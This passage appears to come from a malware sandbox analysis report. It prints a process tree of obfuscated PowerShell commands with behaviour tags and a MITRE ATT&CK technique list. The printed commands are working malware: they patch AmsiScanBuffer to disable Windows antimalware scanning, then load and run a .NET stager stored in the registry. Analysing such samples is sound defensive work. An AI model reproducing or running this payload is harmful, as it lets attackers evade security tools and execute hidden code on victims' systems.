untime.InteropServices.Marshal]::GetDelegateForFunctionPointer($orgxvoxxiTBgoNjuB,$jQFBkkWHakJCCaXNrvpyRE).Invoke($qTShcjgrfYdBDVDOo,[uint32]8,4,[ref]$BEMJThomOW);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](12+125),[Byte](255-54),[Byte](213-29),[Byte](51+36),[Byte](44-44),[Byte](122-115),[Byte](134-6),[Byte](116+15),[Byte](148+44),[Byte](50-50),[Byte](182+13),[Byte](185-48),[Byte](13+179)),0,$qTShcjgrfYdBDVDOo,17-4);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($orgxvoxxiTBgoNjuB,$jQFBkkWHakJCCaXNrvpyRE).Invoke($qTShcjgrfYdBDVDOo,[uint32]8,0x20,[ref]$BEMJThomOW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](83)+'H'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3080

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:WrjtilWrPOxQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mtpKlECYjxUGrl,[Parameter(Position=1)][Type]$fWxcZwnwQa)$tttLxgaPBRT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+'l'+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+[Char](101)+'m'+'o'+'r'+[Char](121)+''+'M'+'odu'+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'ateT'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'Au'+[Char](116)+''+'o'+'C'+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$tttLxgaPBRT.DefineConstructor(''+'R'+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+'bli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$mtpKlECYjxUGrl).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'ge'+'d'+'');$tttLxgaPBRT.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+''+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+'H'+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$fWxcZwnwQa,$mtpKlECYjxUGrl).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $tttLxgaPBRT.CreateType();}$HDRbVlFfeMTYj=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'af'+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'iv'+'e'+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$GlGPdmKecdZbpy=$HDRbVlFfeMTYj.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+'o'+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XEQhHxWfubhggazwLJe=WrjtilWrPOxQ @([String])([IntPtr]);$qBqBnMuTYzLukuFNOvcPcE=WrjtilWrPOxQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sPnxTnXtOik=$HDRbVlFfeMTYj.GetMethod(''+[Char](71)+''+'e'+''+'t'+'Mod'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+'.d'+'l'+''+'l'+'')));$JNwoDLBiPLFDzw=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$sPnxTnXtOik,[Object](''+[Char](76)+'oa'+'d'+'L'+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$ARzSiEfvYAbOdOFiq=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$sPnxTnXtOik,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$nSFbnnd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNwoDLBiPLFDzw,$XEQhHxWfubhggazwLJe).Invoke('a'+'m'+'si'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$VSDAWaXkvehhrjMvO=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$nSFbnnd,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$CYARhNNoPf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARzSiEfvYAbOdOFiq,$qBqBnMuTYzLukuFNOvcPcE).Invoke($VSDAWaXkvehhrjMvO,[uint32]8,4,[ref]$CYARhNNoPf);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](52+79),[Byte](133+102),[Byte](209-209),[Byte](94+90),[Byte](152-65),[Byte](101-101),[Byte](119-112),[Byte](222-94),[Byte](19+118),[Byte](242-41),[Byte](6+189),[Byte](73+64),[Byte](113+79)),0,$VSDAWaXkvehhrjMvO,240-227);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARzSiEfvYAbOdOFiq,$qBqBnMuTYzLukuFNOvcPcE).Invoke($VSDAWaXkvehhrjMvO,[uint32]8,0x20,[ref]$CYARhNNoPf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+'$'+''+'S'+'Hs'+'t'+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:WrjtilWrPOxQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mtpKlECYjxUGrl,[Parameter(Position=1)][Type]$fWxcZwnwQa)$tttLxgaPBRT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+'l'+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+[Char](101)+'m'+'o'+'r'+[Char](121)+''+'M'+'odu'+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'ateT'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'Au'+[Char](116)+''+'o'+'C'+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$tttLxgaPBRT.DefineConstructor(''+'R'+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+'bli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$mtpKlECYjxUGrl).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'ge'+'d'+'');$tttLxgaPBRT.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+''+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+'H'+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$fWxcZwnwQa,$mtpKlECYjxUGrl).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $tttLxgaPBRT.CreateType();}$HDRbVlFfeMTYj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'af'+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'iv'+'e'+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$GlGPdmKecdZbpy=$HDRbVlFfeMTYj.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+'o'+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XEQhHxWfubhggazwLJe=WrjtilWrPOxQ @([String])([IntPtr]);$qBqBnMuTYzLukuFNOvcPcE=WrjtilWrPOxQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sPnxTnXtOik=$HDRbVlFfeMTYj.GetMethod(''+[Char](71)+''+'e'+''+'t'+'Mod'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+'.d'+'l'+''+'l'+'')));$JNwoDLBiPLFDzw=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$sPnxTnXtOik,[Object](''+[Char](76)+'oa'+'d'+'L'+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$ARzSiEfvYAbOdOFiq=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$sPnxTnXtOik,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$nSFbnnd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNwoDLBiPLFDzw,$XEQhHxWfubhggazwLJe).Invoke('a'+'m'+'si'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$VSDAWaXkvehhrjMvO=$GlGPdmKecdZbpy.Invoke($Null,@([Object]$nSFbnnd,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$CYARhNNoPf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARzSiEfvYAbOdOFiq,$qBqBnMuTYzLukuFNOvcPcE).Invoke($VSDAWaXkvehhrjMvO,[uint32]8,4,[ref]$CYARhNNoPf);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](52+79),[Byte](133+102),[Byte](209-209),[Byte](94+90),[Byte](152-65),[Byte](101-101),[Byte](119-112),[Byte](222-94),[Byte](19+118),[Byte](242-41),[Byte](6+189),[Byte](73+64),[Byte](113+79)),0,$VSDAWaXkvehhrjMvO,240-227);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARzSiEfvYAbOdOFiq,$qBqBnMuTYzLukuFNOvcPcE).Invoke($VSDAWaXkvehhrjMvO,[uint32]8,0x20,[ref]$CYARhNNoPf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+'$'+''+'S'+'Hs'+'t'+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion